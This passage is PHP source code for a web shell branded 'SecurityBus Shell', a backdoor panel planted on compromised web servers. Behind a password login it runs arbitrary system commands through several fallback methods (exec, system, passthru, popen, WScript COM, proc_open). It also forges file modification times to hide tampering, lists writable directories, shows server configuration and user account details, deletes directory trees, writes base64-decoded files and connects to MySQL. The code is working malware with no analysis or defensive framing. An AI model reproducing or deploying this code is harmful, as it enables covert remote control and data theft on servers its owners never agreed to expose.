array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);\r\n\tformhead(array('title'=>'Clone file was last modified time'));\r\n\tmakehide('action','file');\r\n\tmakehide('dir',\$nowpath);\r\n\tmakeinput(array('title'=>'Alter file','name'=>'curfile','value'=>\$opfile,'size'=>120,'newline'=>1));\r\n\tmakeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));\r\n\tformfooter();\r\n\tformhead(array('title'=>'Set last modified'));\r\n\tmakehide('action','file');\r\n\tmakehide('dir',\$nowpath);\r\n\tmakeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>\$opfile,'size'=>120,'newline'=>1));\r\n\tp('<p>Instead »');\r\n\tp('year:');\r\n\tmakeinput(array('name'=>'year','value'=>date('Y',\$opfilemtime),'size'=>4));\r\n\tp('month:');\r\n\tmakeinput(array('name'=>'month','value'=>date('m',\$opfilemtime),'size'=>2));\r\n\tp('day:');\r\n\tmakeinput(array('name'=>'day','value'=>date('d',\$opfilemtime),'size'=>2));\r\n\tp('hour:');\r\n\tmakeinput(array('name'=>'hour','value'=>date('H',\$opfilemtime),'size'=>2));\r\n\tp('minute:');\r\n\tmakeinput(array('name'=>'minute','value'=>date('i',\$opfilemtime),'size'=>2));\r\n\tp('second:');\r\n\tmakeinput(array('name'=>'second','value'=>date('s',\$opfilemtime),'size'=>2));\r\n\tp('</p>');\r\n\tformfooter();\r\n}//end newtime\r\n\r\nelseif (\$action == 'shell') {\r\n\tif (IS_WIN && IS_COM) {\r\n\t\tif(\$program && \$parameter) {\r\n\t\t\t\$shell= new COM('Shell.Application');\r\n\t\t\t\$a = \$shell->ShellExecute(\$program,\$parameter);\r\n\t\t\tm('Program run has '.(!\$a ? 'success' : 'fail'));\r\n\t\t}\r\n\t\t!\$program && \$program = 'c:\\windows\\system32\\cmd.exe';\r\n\t\t!\$parameter && \$parameter = '/c net start > '.SA_ROOT.'log.txt';\r\n\t\tformhead(array('title'=>'Execute Program'));\r\n\t\tmakehide('action','shell');\r\n\t\tmakeinput(array('title'=>'Program','name'=>'program','value'=>\$program,'newline'=>1));\r\n\t\tp('<p>');\r\n\t\tmakeinput(array('title'=>'Parameter','name'=>'parameter','value'=>\$parameter));\r\n\t\tmakeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));\r\n\t\tp('</p>');\r\n\t\tformfoot();\r\n\t}\r\n\tformhead(array('title'=>'Execute Command'));\r\n\tmakehide('action','shell');\r\n\tif (IS_WIN && IS_COM) {\r\n\t\t\$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');\r\n\t\tmakeselect(array('title'=>'Use:','name'=>'execfunc','option'=>\$execfuncdb,'selected'=>\$execfunc,'newline'=>1));\r\n\t}\r\n\tp('<p>');\r\n\tmakeinput(array('title'=>'Command','name'=>'command','value'=>\$command));\r\n\tmakeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));\r\n\tp('</p>');\r\n\tformfoot();\r\n\r\n\tif (\$command) {\r\n\t\tp('<hr width=\"100%\" noshade /><pre>');\r\n\t\tif (\$execfunc=='wscript' && IS_WIN && IS_COM) {\r\n\t\t\t\$wsh = new COM('WScript.shell');\r\n\t\t\t\$exec = \$wsh->exec('cmd.exe /c '.\$command);\r\n\t\t\t\$stdout = \$exec->StdOut();\r\n\t\t\t\$stroutput = \$stdout->ReadAll();\r\n\t\t\techo \$stroutput;\r\n\t\t} elseif (\$execfunc=='proc_open' && IS_WIN && IS_COM) {\r\n\t\t\t\$descriptorspec = array(\r\n\t\t\t 0 => array('pipe', 'r'),\r\n\t\t\t 1 => array('pipe', 'w'),\r\n\t\t\t 2 => array('pipe', 'w')\r\n\t\t\t);\r\n\t\t\t\$process = proc_open(\$_SERVER['COMSPEC'], \$descriptorspec, \$pipes);\r\n\t\t\tif (is_resource(\$process)) {\r\n\t\t\t\tfwrite(\$pipes[0], \$command.\"\\r\\n\");\r\n\t\t\t\tfwrite(\$pipes[0], \"exit\\r\\n\");\r\n\t\t\t\tfclose(\$pipes[0]);\r\n\t\t\t\twhile (!feof(\$pipes[1])) {\r\n\t\t\t\t\techo fgets(\$pipes[1], 1024);\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$pipes[1]);\r\n\t\t\t\twhile (!feof(\$pipes[2])) {\r\n\t\t\t\t\techo fgets(\$pipes[2], 1024);\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$pipes[2]);\r\n\t\t\t\tproc_close(\$process);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\techo(execute(\$command));\r\n\t\t}\r\n\t\tp('</pre>');\r\n\t}\r\n}//end shell\r\n\r\nelseif (\$action == 'phpenv') {\r\n\t\$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';\r\n\t\$adminmail=isset(\$_SERVER['SERVER_ADMIN']) ? \$_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');\r\n\t!\$dis_func && \$dis_func = 'No';\r\n\t\$info = array(\r\n\t\t1 => array('Server Time',date('Y/m/d h:i:s',\$timestamp)),\r\n\t\t2 => array('Server Domain',\$_SERVER['SERVER_NAME']),\r\n\t\t3 => array('Server IP',gethostbyname(\$_SERVER['SERVER_NAME'])),\r\n\t\t4 => array('Server OS',PHP_OS),\r\n\t\t5 => array('Server OS Charset',\$_SERVER['HTTP_ACCEPT_LANGUAGE']),\r\n\t\t6 => array('Server Software',\$_SERVER['SERVER_SOFTWARE']),\r\n\t\t7 => array('Server Web Port',\$_SERVER['SERVER_PORT']),\r\n\t\t8 => array('PHP run mode',strtoupper(php_sapi_name())),\r\n\t\t9 => array('The file path',__FILE__),\r\n\r\n\t\t10 => array('PHP Version',PHP_VERSION),\r\n\t\t11 => array('PHPINFO',(IS_PHPINFO ? '<a href=\"javascript:goaction(\\'phpinfo\\');\">Yes</a>' : 'No')),\r\n\t\t12 => array('Safe Mode',getcfg('safe_mode')),\r\n\t\t13 => array('Administrator',\$adminmail),\r\n\t\t14 => array('allow_url_fopen',getcfg('allow_url_fopen')),\r\n\t\t15 => array('enable_dl',getcfg('enable_dl')),\r\n\t\t16 => array('display_errors',getcfg('display_errors')),\r\n\t\t17 => array('register_globals',getcfg('register_globals')),\r\n\t\t18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),\r\n\t\t19 => array('memory_limit',getcfg('memory_limit')),\r\n\t\t20 => array('post_max_size',getcfg('post_max_size')),\r\n\t\t21 => array('upload_max_filesize',\$upsize),\r\n\t\t22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),\r\n\t\t23 => array('disable_functions',\$dis_func),\r\n\t);\r\n\r\n\tif(\$phpvarname) {\r\n\t\tm(\$phpvarname .' : '.getcfg(\$phpvarname));\r\n\t}\r\n\r\n\tformhead(array('title'=>'Server environment'));\r\n\tmakehide('action','phpenv');\r\n\tmakeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>\$phpvarname,'newline'=>1));\r\n\tformfooter();\r\n\r\n\t\$hp = array(0=> 'Server', 1=> 'PHP');\r\n\tfor(\$a=0;\$a<2;\$a++) {\r\n\t\tp('<h2>'.\$hp[\$a].' »</h2>');\r\n\t\tp('<ul class=\"info\">');\r\n\t\tif (\$a==0) {\r\n\t\t\tfor(\$i=1;\$i<=9;\$i++) {\r\n\t\t\t\tp('<li><u>'.\$info[\$i][0].':</u>'.\$info[\$i][1].'</li>');\r\n\t\t\t}\r\n\t\t} elseif (\$a == 1) {\r\n\t\t\tfor(\$i=10;\$i<=23;\$i++) {\r\n\t\t\t\tp('<li><u>'.\$info[\$i][0].':</u>'.\$info[\$i][1].'</li>');\r\n\t\t\t}\r\n\t\t}\r\n\t\tp('</ul>');\r\n\t}\r\n}//end phpenv\r\n\r\nelse {\r\n\tm('Undefined Action');\r\n}\r\n\r\n?>\r\n</td></tr></table>\r\n<div style=\"padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;\">\r\n\t<span style=\"float:right;\"><?php debuginfo();ob_end_flush();?></span>\r\n\tCopyright (C) 2015<strong> SecurityBus - </strong>All Rights Reserved.</div>\r\n</body>\r\n</html>\r\n\r\n<?php\r\n\r\n/*======================================================\r\nShow info shell\r\n======================================================*/\r\n\r\nfunction m(\$msg) {\r\n\techo '<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;\">';\r\n\techo \$msg;\r\n\techo '</div>';\r\n}\r\nfunction scookie(\$key, \$value, \$life = 0, \$prefix = 1) {\r\n\tglobal \$admin, \$timestamp, \$_SERVER;\r\n\t\$key = (\$prefix ? \$admin['cookiepre'] : '').\$key;\r\n\t\$life = \$life ? \$life : \$admin['cookielife'];\r\n\t\$useport = \$_SERVER['SERVER_PORT'] == 443 ? 1 : 0;\r\n\tsetcookie(\$key, \$value, \$timestamp+\$life, \$admin['cookiepath'], \$admin['cookiedomain'], \$useport);\r\n}\r\nfunction multi(\$num, \$perpage, \$curpage, \$tablename) {\r\n\t\$multipage = '';\r\n\tif(\$num > \$perpage) {\r\n\t\t\$page = 10;\r\n\t\t\$offset = 5;\r\n\t\t\$pages = @ceil(\$num / \$perpage);\r\n\t\tif(\$page > \$pages) {\r\n\t\t\t\$from = 1;\r\n\t\t\t\$to = \$pages;\r\n\t\t} else {\r\n\t\t\t\$from = \$curpage - \$offset;\r\n\t\t\t\$to = \$curpage + \$page - \$offset - 1;\r\n\t\t\tif(\$from < 1) {\r\n\t\t\t\t\$to = \$curpage + 1 - \$from;\r\n\t\t\t\t\$from = 1;\r\n\t\t\t\tif((\$to - \$from) < \$page && (\$to - \$from) < \$pages) {\r\n\t\t\t\t\t\$to = \$page;\r\n\t\t\t\t}\r\n\t\t\t} elseif(\$to > \$pages) {\r\n\t\t\t\t\$from = \$curpage - \$pages + \$to;\r\n\t\t\t\t\$to = \$pages;\r\n\t\t\t\tif((\$to - \$from) < \$page && (\$to - \$from) < \$pages) {\r\n\t\t\t\t\t\$from = \$pages - \$page + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$multipage = (\$curpage - \$offset > 1 && \$pages > \$page ? '<a href=\"javascript:settable(\\''.\$tablename.'\\', \\'\\', 1);\">First</a> ' : '').(\$curpage > 1 ? '<a href=\"javascript:settable(\\''.\$tablename.'\\', \\'\\', '.(\$curpage - 1).');\">Prev</a> ' : '');\r\n\t\tfor(\$i = \$from; \$i <= \$to; \$i++) {\r\n\t\t\t\$multipage .= \$i == \$curpage ? \$i.' ' : '<a href=\"javascript:settable(\\''.\$tablename.'\\', \\'\\', '.\$i.');\">['.\$i.']</a> ';\r\n\t\t}\r\n\t\t\$multipage .= (\$curpage < \$pages ? '<a href=\"javascript:settable(\\''.\$tablename.'\\', \\'\\', '.(\$curpage + 1).');\">Next</a>' : '').(\$to < \$pages ? ' <a href=\"javascript:settable(\\''.\$tablename.'\\', \\'\\', '.\$pages.');\">Last</a>' : '');\r\n\t\t\$multipage = \$multipage ? '<p>Pages: '.\$multipage.'</p>' : '';\r\n\t}\r\n\treturn \$multipage;\r\n}\r\n// Login page\r\nfunction loginpage() {\r\n?>\r\n<html>\r\n<head>\r\n\r\n<body bgcolor=black background=http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif>\r\n\r\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\r\n<title>SecurityBus</title>\r\n<style type=\"text/css\">\r\nA:link {text-decoration: none; color: green }\r\nA:visited {text-decoration: none;color:red}\r\nA:active {text-decoration: none}\r\nA:hover {text-decoration: underline; color: green;}\r\ninput, textarea, button\r\n{\r\n\tfont-size: 9pt;\r\n\tcolor: #ccc;\r\n\tfont-family: verdana, sans-serif;\r\n\tbackground-color: #202020;\r\n\tborder-left: 1px solid #74A202;\r\n\tborder-top: 1px solid #74A202;\r\n\tborder-right: 1px solid #74A202;\r\n\tborder-bottom: 1px solid #74A202;\r\n}\r\n\r\n</style>\r\n\r\n <BR><BR>\r\n<div align=center >\r\n<fieldset style=\"border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt\"><legend><font color=red><B>Login</b></font></legend>\r\n\r\n<div>\r\n<font color=gray>\r\n<font color=yellow>==[ <B>SecurityBus Shell</B> ]== </font><BR><BR>\r\n\r\n<form method=\"POST\" action=\"\">\r\n\t<span style=\"font:10pt tahoma;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">\r\n\t<input type=\"hidden\" name=\"doing\" value=\"login\">\r\n\t<input type=\"submit\" value=\"Login\">\r\n\t</form>\r\n<BR>\r\n<?php\r\necho \"\".\$err_mess.\"\";\r\n?>\r\n\r\n\t<B><font color=red>\r\n<a href= varie/target=_blank>SecurityBus</a><BR></b>\r\n\r\n\r\n\r\n\r\n\r\n</div>\r\n\r\n\r\n\t</fieldset>\r\n\r\n\r\n\r\n</head>\r\n</html>\r\n\r\n\r\n<?php\r\n\texit;\r\n\r\n}//end loginpage()\r\n\r\nfunction execute(\$cfe) {\r\n\t\$res = '';\r\n\tif (\$cfe) {\r\n\t\tif(function_exists('exec')) {\r\n\t\t\t@exec(\$cfe,\$res);\r\n\t\t\t\$res = join(\"\\n\",\$res);\r\n\t\t} elseif(function_exists('shell_exec')) {\r\n\t\t\t\$res = @shell_exec(\$cfe);\r\n\t\t} elseif(function_exists('system')) {\r\n\t\t\t@ob_start();\r\n\t\t\t@system(\$cfe);\r\n\t\t\t\$res = @ob_get_contents();\r\n\t\t\t@ob_end_clean();\r\n\t\t} elseif(function_exists('passthru')) {\r\n\t\t\t@ob_start();\r\n\t\t\t@passthru(\$cfe);\r\n\t\t\t\$res = @ob_get_contents();\r\n\t\t\t@ob_end_clean();\r\n\t\t} elseif(@is_resource(\$f = @popen(\$cfe,\"r\"))) {\r\n\t\t\t\$res = '';\r\n\t\t\twhile(!@feof(\$f)) {\r\n\t\t\t\t\$res .= @fread(\$f,1024);\r\n\t\t\t}\r\n\t\t\t@pclose(\$f);\r\n\t\t}\r\n\t}\r\n\treturn \$res;\r\n}\r\nfunction which(\$pr) {\r\n\t\$path = execute(\"which \$pr\");\r\n\treturn (\$path ? \$path : \$pr);\r\n}\r\n\r\nfunction cf(\$fname,\$text){\r\n\tif(\$fp=@fopen(\$fname,'w')) {\r\n\t\t@fputs(\$fp,@base64_decode(\$text));\r\n\t\t@fclose(\$fp);\r\n\t}\r\n}\r\n\r\n// Debug\r\nfunction debuginfo() {\r\n\tglobal \$starttime;\r\n\t\$mtime = explode(' ', microtime());\r\n\t\$totaltime = number_format((\$mtime[1] + \$mtime[0] - \$starttime), 6);\r\n\techo 'Processed in '.\$totaltime.' second(s)';\r\n}\r\n\r\n// Function connect database\r\nfunction dbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname='',\$charset='',\$dbport='3306') {\r\n\tif(!\$link = @mysql_connect(\$dbhost.':'.\$dbport, \$dbuser, \$dbpass)) {\r\n\t\tp('<h2>Can not connect to MySQL server</h2>');\r\n\t\texit;\r\n\t}\r\n\tif(\$link && \$dbname) {\r\n\t\tif (!@mysql_select_db(\$dbname, \$link)) {\r\n\t\t\tp('<h2>Database selected has error</h2>');\r\n\t\t\texit;\r\n\t\t}\r\n\t}\r\n\tif(\$link && mysql_get_server_info() > '4.1') {\r\n\t\tif(in_array(strtolower(\$charset), array('gbk', 'big5', 'utf8'))) {\r\n\t\t\tq(\"SET character_set_connection=\$charset, character_set_results=\$charset, character_set_client=binary;\", \$link);\r\n\t\t}\r\n\t}\r\n\treturn \$link;\r\n}\r\n\r\n// Array strip\r\nfunction s_array(&\$array) {\r\n\tif (is_array(\$array)) {\r\n\t\tforeach (\$array as \$k => \$v) {\r\n\t\t\t\$array[\$k] = s_array(\$v);\r\n\t\t}\r\n\t} else if (is_string(\$array)) {\r\n\t\t\$array = stripslashes(\$array);\r\n\t}\r\n\treturn \$array;\r\n}\r\n\r\n// HTML Strip\r\nfunction html_clean(\$content) {\r\n\t\$content = htmlspecialchars(\$content);\r\n\t\$content = str_replace(\"\\n\", \"<br />\", \$content);\r\n\t\$content = str_replace(\" \", \" \", \$content);\r\n\t\$content = str_replace(\"\\t\", \" \", \$content);\r\n\treturn \$content;\r\n}\r\n\r\n// Chmod\r\nfunction getChmod(\$filepath){\r\n\treturn substr(base_convert(@fileperms(\$filepath),10,8),-4);\r\n}\r\n\r\nfunction getPerms(\$filepath) {\r\n\t\$mode = @fileperms(\$filepath);\r\n\tif ((\$mode & 0xC000) === 0xC000) {\$type = 's';}\r\n\telseif ((\$mode & 0x4000) === 0x4000) {\$type = 'd';}\r\n\telseif ((\$mode & 0xA000) === 0xA000) {\$type = 'l';}\r\n\telseif ((\$mode & 0x8000) === 0x8000) {\$type = '-';}\r\n\telseif ((\$mode & 0x6000) === 0x6000) {\$type = 'b';}\r\n\telseif ((\$mode & 0x2000) === 0x2000) {\$type = 'c';}\r\n\telseif ((\$mode & 0x1000) === 0x1000) {\$type = 'p';}\r\n\telse {\$type = '?';}\r\n\r\n\t\$owner['read'] = (\$mode & 00400) ? 'r' : '-';\r\n\t\$owner['write'] = (\$mode & 00200) ? 'w' : '-';\r\n\t\$owner['execute'] = (\$mode & 00100) ? 'x' : '-';\r\n\t\$group['read'] = (\$mode & 00040) ? 'r' : '-';\r\n\t\$group['write'] = (\$mode & 00020) ? 'w' : '-';\r\n\t\$group['execute'] = (\$mode & 00010) ? 'x' : '-';\r\n\t\$world['read'] = (\$mode & 00004) ? 'r' : '-';\r\n\t\$world['write'] = (\$mode & 00002) ? 'w' : '-';\r\n\t\$world['execute'] = (\$mode & 00001) ? 'x' : '-';\r\n\r\n\tif( \$mode & 0x800 ) {\$owner['execute'] = (\$owner['execute']=='x') ? 's' : 'S';}\r\n\tif( \$mode & 0x400 ) {\$group['execute'] = (\$group['execute']=='x') ? 's' : 'S';}\r\n\tif( \$mode & 0x200 ) {\$world['execute'] = (\$world['execute']=='x') ? 't' : 'T';}\r\n\r\n\treturn \$type.\$owner['read'].\$owner['write'].\$owner['execute'].\$group['read'].\$group['write'].\$group['execute'].\$world['read'].\$world['write'].\$world['execute'];\r\n}\r\n\r\nfunction getUser(\$filepath)\t{\r\n\tif (function_exists('posix_getpwuid')) {\r\n\t\t\$array = @posix_getpwuid(@fileowner(\$filepath));\r\n\t\tif (\$array && is_array(\$array)) {\r\n\t\t\treturn ' / <a href=\"#\" title=\"User: '.\$array['name'].'
Passwd: '.\$array['passwd'].'
Uid: '.\$array['uid'].'
gid: '.\$array['gid'].'
Gecos: '.\$array['gecos'].'
Dir: '.\$array['dir'].'
Shell: '.\$array['shell'].'\">'.\$array['name'].'</a>';\r\n\t\t}\r\n\t}\r\n\treturn '';\r\n}\r\n\r\n// Delete dir\r\nfunction deltree(\$deldir) {\r\n\t\$mydir=@dir(\$deldir);\r\n\twhile(\$file=\$mydir->read())\t{\r\n\t\tif((is_dir(\$deldir.'/'.\$file)) && (\$file!='.') && (\$file!='..')) {\r\n\t\t\t@chmod(\$deldir.'/'.\$file,0777);\r\n\t\t\tdeltree(\$deldir.'/'.\$file);\r\n\t\t}\r\n\t\tif (is_file(\$deldir.'/'.\$file)) {\r\n\t\t\t@chmod(\$deldir.'/'.\$file,0777);\r\n\t\t\t@unlink(\$deldir.'/'.\$file);\r\n\t\t}\r\n\t}\r\n\t\$mydir->close();\r\n\t@chmod(\$deldir,0777);\r\n\treturn @rmdir(\$deldir) ? 1 : 0;\r\n}\r\n\r\n// Background\r\nfunction bg() {\r\n\tglobal \$bgc;\r\n\treturn (\$bgc++%2==0) ? 'alt1' : 'alt2';\r\n}\r\n\r\n// Get path\r\nfunction getPath(\$scriptpath, \$nowpath) {\r\n\tif (\$nowpath == '.') {\r\n\t\t\$nowpath = \$scriptpath;\r\n\t}\r\n\t\$nowpath = str_replace('\\\\', '/', \$nowpath);\r\n\t\$nowpath = str_replace('//', '/', \$nowpath);\r\n\tif (substr(\$nowpath, -1) != '/') {\r\n\t\t\$nowpath = \$nowpath.'/';\r\n\t}\r\n\treturn \$nowpath;\r\n}\r\n\r\n// Get up path\r\nfunction getUpPath(\$nowpath) {\r\n\t\$pathdb = explode('/', \$nowpath);\r\n\t\$num = count(\$pathdb);\r\n\tif (\$num > 2) {\r\n\t\tunset(\$pathdb[\$num-1],\$pathdb[\$num-2]);\r\n\t}\r\n\t\$uppath = implode('/', \$pathdb).'/';\r\n\t\$uppath = str_replace('//', '/', \$uppath);\r\n\treturn \$uppath;\r\n}\r\n\r\n// Config\r\nfunction getcfg(\$varname) {\r\n\t\$result = get_cfg_var(\$varname);\r\n\tif (\$result == 0) {\r\n\t\treturn 'No';\r\n\t} elseif (\$result == 1) {\r\n\t\treturn 'Yes';\r\n\t} else {\r\n\t\treturn \$result;\r\n\t}\r\n}\r\n\r\n// Function name\r\nfunction getfun(\$funName) {\r\n\treturn (false !== function_exists(\$funName)) ? 'Yes' : 'No';\r\n}\r\n\r\nfunction GetList(\$dir){\r\n\tglobal \$dirdata,\$j,\$nowpath;\r\n\t!\$j && \$j=1;\r\n\tif (\$dh = opendir(\$dir)) {\r\n\t\twhile (\$file = readdir(\$dh)) {\r\n\t\t\t\$f=str_replace('//','/',\$dir.'/'.\$file);\r\n\t\t\tif(\$file!='.' && \$file!='..' && is_dir(\$f)){\r\n\t\t\t\tif (is_writable(\$f)) {\r\n\t\t\t\t\t\$dirdata[\$j]['filename']=str_replace(\$nowpath,'',\$f);\r\n\t\t\t\t\t\$dirdata[\$j]['mtime']=@date('Y-m-d H:i:s',filemtime(\$f));\r\n\t\t\t\t\t\$dirdata[\$j]['dirchmod']=getChmod(\$f);\r\n\t\t\t\t\t\$dirdata[\$j]['dirperm']=getPerms(\$f);\r\n\t\t\t\t\t\$dirdata[\$j]['dirlink']=ue(\$dir);\r\n\t\t\t\t\t\$dirdata[\$j]['server_link']=\$f;\r\n\t\t\t\t\t\$dirdata[\$j]['client_link']=ue(\$f);\r\n\t\t\t\t\t\$j++;\r\n\t\t\t\t}\r\n\t\t\t\tGetList(\$f);\r\n\t\t\t}\r\n\t\t}\r\n\t\tclosedir(\$dh);\r\n\t\tclearstatcache();\r\n\t\treturn \$dirdata;\r\n\t} else {\r\n\t\treturn array();\r\n\t}\r\n}\r\n\r\nfunction qy(\$sql) {\r\n\t//echo \$sql.'<br>';\r\n\t\$res = \$error = '';\r\n\tif(!\$res = @mysql_query(\$sql)) {\r\n\t\treturn 0;\r\n\t} else if(is_resource(\$res)) {\r\n\t\treturn 1;\r\n\t} else {\r\n\t\treturn 2;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nfunction q(\$sql) {\r\n\treturn @mysql_query(\$sql);\r\n}\r\n\r\nfunction fr(\$qy){\r\n\tmysql_free_result(\$qy);\r\n}\r\n\r\nfunction sizecount(\$size) {\r\n\tif(\$size > 1073741824) {\r\n\t\t\$size = round(\$size / 1073741824 * 100) / 100 . ' G';\r\n\t} elseif(\$size > 1048576) {\r\n\t\t\$size = round(\$size / 1048576 * 100) / 100 . ' M';\r\n\t} elseif(\$size > 1024) {\r\n\t\t\$size = round(\$size / 1024 * 100) / 100 . ' K';\r\n\t} else {\r\n\t\t\$size = \$size . ' B';\r\n\t}\r\n\treturn \$size;\r\n}\r\n\r\n// Zip\r\nclass PHPZip{\r\n\tvar \$out='';\r\n\tfunction PHPZip(\$dir)\t{\r\n\t\tif (@function_exists('gzcompress'))\t{\r\n\t\t\t\$curdir = getcwd();\r\n\t\t\tif (is_array(\$dir)) \$filelist = \$dir;\r\n\t\t\telse{\r\n\t\t\t\t\$filelist=\$this -> GetFileList(\$dir);//File list\r\n\t\t\t\tforeach(\$filelist as \$k=>\$v) \$filelist[]=substr(\$v,strlen(\$dir)+1);\r\n\t\t\t}\r\n\t\t\tif ((!empty(\$dir))&&(!is_array(\$dir))&&(file_exists(\$dir))) chdir(\$dir);\r\n\t\t\telse chdir(\$curdir);\r\n\t\t\tif (count(\$filelist)>0){\r\n\t\t\t\tforeach(\$filelist as \$filename){\r\n\t\t\t\t\tif (is_file(\$filename)){\r\n\t\t\t\t\t\t\$fd = fopen (\$filename, 'r');\r\n\t\t\t\t\t\t\$content = @fread (\$fd, filesize(\$filename));\r\n\t\t\t\t\t\tfclose (\$fd);\r\n\t\t\t\t\t\tif (is_array(\$dir)) \$filename = basename(\$filename);\r\n\t\t\t\t\t\t\$this -> addFile(\$content, \$filename);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\$this->out = \$this -> file();\r\n\t\t\t\tchdir(\$curdir);\r\n\t\t\t}\r\n\t\t\treturn 1;\r\n\t\t}\r\n\t\telse return 0;\r\n\t}\r\n\r\n\t// Show file list\r\n\tfunction GetFileList(\$dir){\r\n\t\tstatic \$a;\r\n\t\tif (is_dir(\$dir)) {\r\n\t\t\tif (\$dh = opendir(\$dir)) {\r\n\t\t\t\twhile (\$file = readdir(\$dh)) {\r\n\t\t\t\t\tif(\$file!='.' && \$file!='..'){\r\n\t\t\t\t\t\t\$f=\$dir .'/'. \$file;\r\n\t\t\t\t\t\tif(is_dir(\$f)) \$this->GetFileList(\$f);\r\n\t\t\t\t\t\t\$a[]=\$f;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tclosedir(\$dh);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn \$a;\r\n\t}\r\n\r\n\tvar \$datasec = array();\r\n\tvar \$ctrl_dir = array();\r\n\tvar \$eof_ctrl_dir = \"\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00\";\r\n\tvar \$old_offset = 0;\r\n\r\n\tfunction unix2DosTime(\$unixtime = 0) {\r\n\t\t\$timearray = (\$unixtime == 0) ? getdate() : getdate(\$unixtime);\r\n\t\tif (\$timearray['year'] < 1980) {\r\n\t\t\t\$timearray['year'] = 1980;\r\n\t\t\t\$timearray['mon'] = 1;\r\n\t\t\t\$timearray['mday'] = 1;\r\n\t\t\t\$timearray['hours'] = 0;\r\n\t\t\t\$timearray['minutes'] = 0;\r\n\t\t\t\$timearray['seconds'] = 0;\r\n\t\t} // end if\r\n\t\treturn ((\$timearray['year'] - 1980) << 25) | (\$timearray['mon'] << 21) | (\$timearray['mday'] << 16) |\r\n\t\t\t\t(\$timearray['hours'] << 11) | (\$timearray['minutes'] << 5) | (\$timearray['seconds'] >> 1);\r\n\t}\r\n\r\n\tfunction addFile(\$data, \$name, \$time = 0) {\r\n\t\t\$name = str_replace('\\\\', '/', \$name);\r\n\r\n\t\t\$dtime = dechex(\$this->unix2DosTime(\$time));\r\n\t\t\$hexdtime\t= '\\x' . \$dtime[6] . \$dtime[7]\r\n\t\t\t\t\t. '\\x' . \$dtime[4] . \$dtime[5]\r\n\t\t\t\t\t. '\\x' . \$dtime[2] . \$dtime[3]\r\n\t\t\t\t\t. '\\x' . \$dtime[0] . \$dtime[1];\r\n\t\teval('\$hexdtime = \"' . \$hexdtime . '\";');\r\n\t\t\$fr\t= \"\\x50\\x4b\\x03\\x04\";\r\n\t\t\$fr\t.= \"\\x14\\x00\";\r\n\t\t\$fr\t.= \"\\x00\\x00\";\r\n\t\t\$fr\t.= \"\\x08\\x00\";\r\n\t\t\$fr\t.= \$hexdtime;\r\n\r\n\t\t\$unc_len = strlen(\$data);\r\n\t\t\$crc = crc32(\$data);\r\n\t\t\$zdata = gzcompress(\$data);\r\n\t\t\$c_len = strlen(\$zdata);\r\n\t\t\$zdata = substr(substr(\$zdata, 0, strlen(\$zdata) - 4), 2);\r\n\t\t\$fr .= pack('V', \$crc);\r\n\t\t\$fr .= pack('V', \$c_len);\r\n\t\t\$fr .= pack('V', \$unc_len);\r\n\t\t\$fr .= pack('v', strlen(\$name));\r\n\t\t\$fr .= pack('v', 0);\r\n\t\t\$fr .= \$name;\r\n\t\t\$fr .= \$zdata;\r\n\t\t\$fr .= pack('V', \$crc);\r\n\t\t\$fr .= pack('V', \$c_len);\r\n\t\t\$fr .= pack('V', \$unc_len);\r\n\r\n\t\t\$this -> datasec[] = \$fr;\r\n\t\t\$new_offset = strlen(implode('', \$this->datasec));\r\n\r\n\t\t\$cdrec = \"\\x50\\x4b\\x01\\x02\";\r\n\t\t\$cdrec .= \"\\x00\\x00\";\r\n\t\t\$cdrec .= \"\\x14\\x00\";\r\n\t\t\$cdrec .= \"\\x00\\x00\";\r\n\t\t\$cdrec .= \"\\x08\\x00\";\r\n\t\t\$cdrec .= \$hexdtime;\r\n\t\t\$cdrec .= pack('V', \$crc);\r\n\t\t\$cdrec .= pack('V', \$c_len);\r\n\t\t\$cdrec .= pack('V', \$unc_len);\r\n\t\t\$cdrec .= pack('v', strlen(\$name) );\r\n\t\t\$cdrec .= pack('v', 0 );\r\n\t\t\$cdrec .= pack('v', 0 );\r\n\t\t\$cdrec .= pack('v', 0 );\r\n\t\t\$cdrec .= pack('v', 0 );\r\n\t\t\$cdrec .= pack('V', 32 );\r\n\t\t\$cdrec .= pack('V', \$this -> old_offset );\r\n\t\t\$this -> old_offset = \$new_offset;\r\n\t\t\$cdrec .= \$name;\r\n\r\n\t\t\$this -> ctrl_dir[] = \$cdrec;\r\n\t}\r\n\r\n\tfunction file() {\r\n\t\t\$data = implode('', \$this -> datasec);\r\n\t\t\$ctrldir = implode('', \$this -> ctrl_dir);\r\n\t\treturn \$data . \$ctrldir . \$this -> eof_ctrl_dir . pack('v', sizeof(\$this -> ctrl_dir)) . pack('v', sizeof(\$this -> ctrl_dir)) 